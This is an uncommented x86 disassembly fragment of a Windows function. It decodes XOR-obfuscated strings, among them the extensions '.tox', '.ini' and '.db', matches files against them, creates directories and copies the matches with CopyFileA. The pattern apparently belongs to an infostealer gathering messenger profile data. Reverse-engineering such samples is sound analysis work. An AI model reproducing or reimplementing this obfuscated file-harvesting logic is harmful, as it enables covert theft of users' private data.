lea ecx, [ebp - 0x12b0]
call fcn.004029b0
lea ecx, [ebp - 0x17a8]
call fcn.004029b0
lea ecx, [ebp - 0x12c8]
mov byte [ebp - 4], 0xde
call fcn.004029b0
sub esp, 0x18
lea eax, [ebp - 0x1358]
mov ecx, esp
push eax
call fcn.0047faa0
push 1
xor dl, dl
lea ecx, [ebp - 0x4b8]
call fcn.004259f0
add esp, 0x1c
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0xdf
call fcn.0047e790
lea ecx, [ebp - 0x4b8]
mov edi, eax
call fcn.0047e780
mov dword [ebp - 0x1c], eax
cmp edi, eax
je 0x455376
mov byte [ebp - 0x14], 0
nop dword [eax]
push edi
lea ecx, [ebp - 0xa9c]
call fcn.0047faa0
mov byte [ebp - 4], 0xe0
lea edx, [ebp - 0xa9c]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1340]
call fcn.0048aa70
add esp, 4
lea eax, [ebp - 0x17c0]
mov byte [ebp - 4], 0xe1
push eax
lea ecx, [ebp - 0x1340]
call fcn.00404ac0
lea ecx, [ebp - 0x23]
mov byte [ebp - 4], 0xe2
push ecx
lea ecx, [ebp - 0x71c]
push ecx
mov ecx, eax
call fcn.00483450
or ebx, 0x100000
lea ecx, [ebp - 0x17c0]
mov byte [ebp - 4], 0xe4
call fcn.00481fb0
xorps xmm0, xmm0
mov dword [ebp - 0xc9], 0x968298c5
movq qword [ebp - 0xc5], xmm0
xor ecx, ecx
mov byte [ebp - 0xbd], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xc9], al
inc ecx
cmp ecx, 4
jb 0x4550a0
lea eax, [ebp - 0xc9]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x1310]
mov byte [ebp - 0xc5], 0
call fcn.00402a50
or ebx, 0x800000
mov byte [ebp - 4], 0xe5
lea ecx, [ebp - 0x1310]
or ebx, 0x1000
mov dword [ebp - 0x18], ebx
call fcn.00402af0
push 0
push eax
lea ecx, [ebp - 0x71c]
call fcn.0047f5a0
cmp eax, 0xffffffff
jne 0x455208
xorps xmm0, xmm0
mov dword [ebp - 0xd6], 0x878385c5
movq qword [ebp - 0xd2], xmm0
xor ecx, ecx
mov byte [ebp - 0xca], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xd6], al
inc ecx
cmp ecx, 4
jb 0x455123
lea eax, [ebp - 0xd6]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x12f8]
mov byte [ebp - 0xd2], 0
call fcn.00402a50
mov dword [ebp - 4], 0xe6
lea ecx, [ebp - 0x12f8]
or ebx, 0x2000
mov dword [ebp - 0x18], ebx
call fcn.00402af0
push 0
push eax
lea ecx, [ebp - 0x71c]
call fcn.0047f5a0
cmp eax, 0xffffffff
jne 0x455208
xorps xmm0, xmm0
mov word [ebp - 0x109], 0x88c5
mov byte [ebp - 0x107], 0x8f
xor ecx, ecx
movq qword [ebp - 0x106], xmm0
mov byte [ebp - 0xfe], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x109], al
inc ecx
cmp ecx, 3
jb 0x4551b0
lea eax, [ebp - 0x109]
mov dword [0x558540], ecx
push eax
lea ecx, [ebp - 0x12e0]
mov byte [ebp - 0x106], 0
call fcn.00402a50
lea ecx, [ebp - 0x12e0]
or ebx, 0x4000
call fcn.00402af0
push 0
push eax
lea ecx, [ebp - 0x71c]
call fcn.0047f5a0
mov byte [ebp - 0xf], 0
cmp eax, 0xffffffff
je 0x45520c
mov byte [ebp - 0xf], 1
test ebx, 0x4000
je 0x455225
lea ecx, [ebp - 0x12e0]
and ebx, 0xffffbfff
call fcn.004029b0
test ebx, 0x2000
je 0x45523e
lea ecx, [ebp - 0x12f8]
and ebx, 0xffffdfff
call fcn.004029b0
mov dword [ebp - 4], 0xe4
test ebx, 0x1000
je 0x45525e
lea ecx, [ebp - 0x1310]
and ebx, 0xffffefff
call fcn.004029b0
cmp byte [ebp - 0xf], 0
je 0x45533f
xorps xmm0, xmm0
mov byte [ebp - 0x133], 0xb7
movq qword [ebp - 0x132], xmm0
xor ecx, ecx
mov byte [ebp - 0x12a], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x133], al
inc ecx
cmp ecx, 1
jb 0x455283
lea eax, [ebp - 0x133]
mov dword [0x5585d0], ecx
push eax
lea ecx, [ebp - 0x1328]
mov byte [ebp - 0x132], 0
call fcn.00402a50
lea ecx, [ebp - 0x1328]
mov byte [ebp - 4], 0xe7
call fcn.00402af0
push eax
lea edx, [ebp - 0x92c]
lea ecx, [ebp - 0x17f0]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x71c]
mov byte [ebp - 4], 0xe8
push ecx
mov edx, eax
lea ecx, [ebp - 0x17d8]
call fcn.00483ac0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xa9c]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x17d8]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0x17f0]
call fcn.004029b0
lea ecx, [ebp - 0x1328]
call fcn.004029b0
test esi, esi
je 0x45533f
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0x71c]
call fcn.004029b0
lea ecx, [ebp - 0x1340]
call fcn.00481fb0
lea ecx, [ebp - 0xa9c]
mov byte [ebp - 4], 0xdf
call fcn.004029b0
add edi, 0x18
cmp edi, dword [ebp - 0x1c]
jne 0x455010
cmp byte [ebp - 0xe], 0
jne 0x455388
push 0
mov dl, 1
lea ecx, [ebp - 0x92c]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x4b8]
call fcn.00481d80
lea ecx, [ebp - 0x1358]
mov byte [ebp - 4], 0xd7
call fcn.004029b0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movaps xmm0, xmmword [0x543fd0]
xor ecx, ecx
movups xmmword [ebp - 0x57a], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x57a], al
inc ecx
cmp ecx, 7
jb 0x4553c0
lea eax, [ebp - 0x57a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1370]
mov byte [ebp - 0x573], 0
call fcn.00402a50
lea ecx, [ebp - 0x1370]
mov byte [ebp - 4], 0xe9
call fcn.00402af0
push eax
lea edx, [ebp - 0x420]
lea ecx, [ebp - 0x8fc]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1370]
mov byte [ebp - 4], 0xeb
call fcn.004029b0
lea ecx, [ebp - 0x8fc]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x455776
movaps xmm0, xmmword [0x543b80]
xor ecx, ecx
mov byte [ebp - 0x49f], 0xb7
movups xmmword [ebp - 0x49e], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x49f], al
inc ecx
cmp ecx, 8
jb 0x455452
lea eax, [ebp - 0x49f]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x13a0]
mov byte [ebp - 0x497], 0
call fcn.00402a50
lea ecx, [ebp - 0x13a0]
call fcn.00402af0
push dword [ebp - 0x14]
lea ecx, [ebp - 0xab4]
mov esi, eax
call fcn.00402b00
mov ecx, esi
mov byte [ebp - 4], 0xed
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4554a6
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xab4]
call fcn.00402b20
mov byte [ebp - 4], 0xee
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x56a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x56a], al
inc ecx
cmp ecx, 7
jb 0x4554d0
lea eax, [ebp - 0x56a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1388]
mov byte [ebp - 0x563], 0
call fcn.00402a50
lea ecx, [ebp - 0x1388]
mov byte [ebp - 4], 0xef
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xab4]
mov edx, eax
push ecx
lea ecx, [ebp - 0x8e4]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1388]
call fcn.004029b0
lea ecx, [ebp - 0xab4]
call fcn.004029b0
lea ecx, [ebp - 0x13a0]
mov byte [ebp - 4], 0xf3
call fcn.004029b0
lea ecx, [ebp - 0x8e4]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x455755
movaps xmm0, xmmword [0x543d10]
xor ecx, ecx
mov dword [ebp - 0x248], 0x8d8e8db7
mov word [ebp - 0x244], 0x8580
movups xmmword [ebp - 0x242], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x248], al
inc ecx
cmp ecx, 0xd
jb 0x455591
lea eax, [ebp - 0x248]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x13b8]
mov byte [ebp - 0x23b], 0
call fcn.00402a50
lea ecx, [ebp - 0x13b8]
mov byte [ebp - 4], 0xf4
call fcn.00402af0
sub esp, 0x18
lea edx, [ebp - 0x8e4]
mov ecx, esp
push eax
call fcn.004838a0
add esp, 4
call fcn.0040c4c0
add esp, 0x18
mov byte [ebp - 4], 0xf3
lea ecx, [ebp - 0x13b8]
mov bl, al
call fcn.004029b0
test bl, bl
je 0x455755
movaps xmm0, xmmword [0x543d10]
xor ecx, ecx
mov dword [ebp - 0x25e], 0x8d8e8db7
mov word [ebp - 0x25a], 0x8580
movups xmmword [ebp - 0x258], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x25e], al
inc ecx
cmp ecx, 0xd
jb 0x455630
lea eax, [ebp - 0x25e]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x13e8]
mov byte [ebp - 0x251], 0
call fcn.00402a50
lea ecx, [ebp - 0x13e8]
mov byte [ebp - 4], 0xf5
call fcn.00402af0
push eax
lea edx, [ebp - 0x8fc]
lea ecx, [ebp - 0x1820]
call fcn.004838a0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xf6
call fcn.00402af0
movaps xmm0, xmmword [0x543d10]
mov esi, eax
mov dword [ebp - 0x21c], 0x8d8e8db7
xor ecx, ecx
mov word [ebp - 0x218], 0x8580
movups xmmword [ebp - 0x216], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x21c], al
inc ecx
cmp ecx, 0xd
jb 0x4556b4
lea eax, [ebp - 0x21c]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0x13d0]
mov byte [ebp - 0x20f], 0
call fcn.00402a50
lea ecx, [ebp - 0x13d0]
mov byte [ebp - 4], 0xf7
call fcn.00402af0
push eax
lea edx, [ebp - 0x8e4]
lea ecx, [ebp - 0x1808]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1808]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0x13d0]
call fcn.004029b0
lea ecx, [ebp - 0x1820]
call fcn.004029b0
lea ecx, [ebp - 0x13e8]
mov byte [ebp - 4], 0xf3
call fcn.004029b0
test esi, esi
je 0x455755
mov byte [ebp - 0xd], 1
jmp 0x455767
push 0
mov dl, 1
lea ecx, [ebp - 0x8fc]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x8e4]
mov byte [ebp - 4], 0xeb
call fcn.004029b0
cmp byte [ebp - 0xd], 0
jne 0x45578e
push 0
mov dl, 1
lea ecx, [ebp - 0x420]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x8fc]
call fcn.004029b0
lea ecx, [ebp - 0x92c]
call fcn.004029b0
lea ecx, [ebp - 0x164]
call fcn.004029b0
lea ecx, [ebp - 0x944]
call fcn.004029b0
lea ecx, [ebp - 0x95c]
call fcn.004029b0
lea ecx, [ebp - 0x974]
call fcn.004029b0
lea ecx, [ebp - 0x420]
mov dword [ebp - 4], 0xffffffff
call fcn.004029b0
cmp byte [ebp - 0x20], 0
je 0x455afe
xorps xmm0, xmm0
mov dword [ebp - 0xe3], 0xa0bdbab7
movq qword [ebp - 0xdf], xmm0
xor ecx, ecx
mov byte [ebp - 0xd7], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xe3], al
inc ecx
cmp ecx, 4
jb 0x455810
lea eax, [ebp - 0xe3]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x1400]
mov byte [ebp - 0xdf], 0
call fcn.00402a50
lea ecx, [ebp - 0x1400]
mov dword [ebp - 4], 0xf8
call fcn.00402af0
push eax
mov edx, 0x555aec
lea ecx, [ebp - 0x824]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1400]
mov byte [ebp - 4], 0xfa
call fcn.004029b0
lea ecx, [ebp - 0x824]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x455af3
movaps xmm0, xmmword [0x545250]
xor bl, bl
movups xmmword [ebp - 0x6d2], xmm0
mov byte [ebp - 0x6ba], bl
xor ecx, ecx
xorps xmm0, xmm0
movq qword [ebp - 0x6c2], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x6d2], al
inc ecx
cmp ecx, 0x10
jb 0x4558b0
lea eax, [ebp - 0x6d2]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0x1418]
mov byte [ebp - 0x6c2], 0
call fcn.00402a50
lea ecx, [ebp - 0x1418]
mov byte [ebp - 4], 0xfb
call fcn.00402af0
push eax
lea edx, [ebp - 0x824]
lea ecx, [ebp - 0x98c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1418]
mov byte [ebp - 4], 0xfd
call fcn.004029b0
lea ecx, [ebp - 0x98c]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x455ad6
movaps xmm0, xmmword [0x545250]
xor ecx, ecx
movups xmmword [ebp - 0x795], xmm0
mov word [ebp - 0x785], 0x8ca7
movaps xmm0, xmmword [0x543010]
movups xmmword [ebp - 0x783], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x795], al
inc ecx
cmp ecx, 0x19
jb 0x455952
lea eax, [ebp - 0x795]
mov dword [0x5585e8], ecx
push eax
lea ecx, [ebp - 0x1448]
mov byte [ebp - 0x77c], 0
call fcn.00402a50
lea ecx, [ebp - 0x1448]
call fcn.00402af0
push dword [ebp - 0x14]
lea ecx, [ebp - 0xacc]
mov esi, eax
call fcn.00402b00
mov ecx, esi
mov byte [ebp - 4], 0xff
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4559a6
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xacc]
call fcn.00402b20
mov dword [ebp - 4], 0x100
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x60a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x60a], al
inc ecx
cmp ecx, 7
jb 0x4559d3
lea eax, [ebp - 0x60a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1430]
mov byte [ebp - 0x603], 0
call fcn.00402a50
lea ecx, [ebp - 0x1430]
mov byte [ebp - 4], 1
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xacc]
mov edx, eax
push ecx
lea ecx, [ebp - 0xae4]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1430]
call fcn.004029b0
lea ecx, [ebp - 0xacc]
call fcn.004029b0
lea ecx, [ebp - 0x1448]
mov byte [ebp - 4], 5
call fcn.004029b0
lea ecx, [ebp - 0xae4]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x455aae
sub esp, 0x18
lea eax, [ebp - 0x98c]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bh, bh
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 6
lea eax, [ebp - 0xae4]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, bh
mov byte [ebp - 4], 5
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x455aae
mov bl, 1
jmp 0x455ac0
push 0
mov dl, 1
lea ecx, [ebp - 0x98c]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xae4]
mov dword [ebp - 4], 0xfd
call fcn.004029b0
test bl, bl
jne 0x455ae8
push 0
mov dl, 1
lea ecx, [ebp - 0x824]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x98c]
call fcn.004029b0
lea ecx, [ebp - 0x824]
call fcn.004029b0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret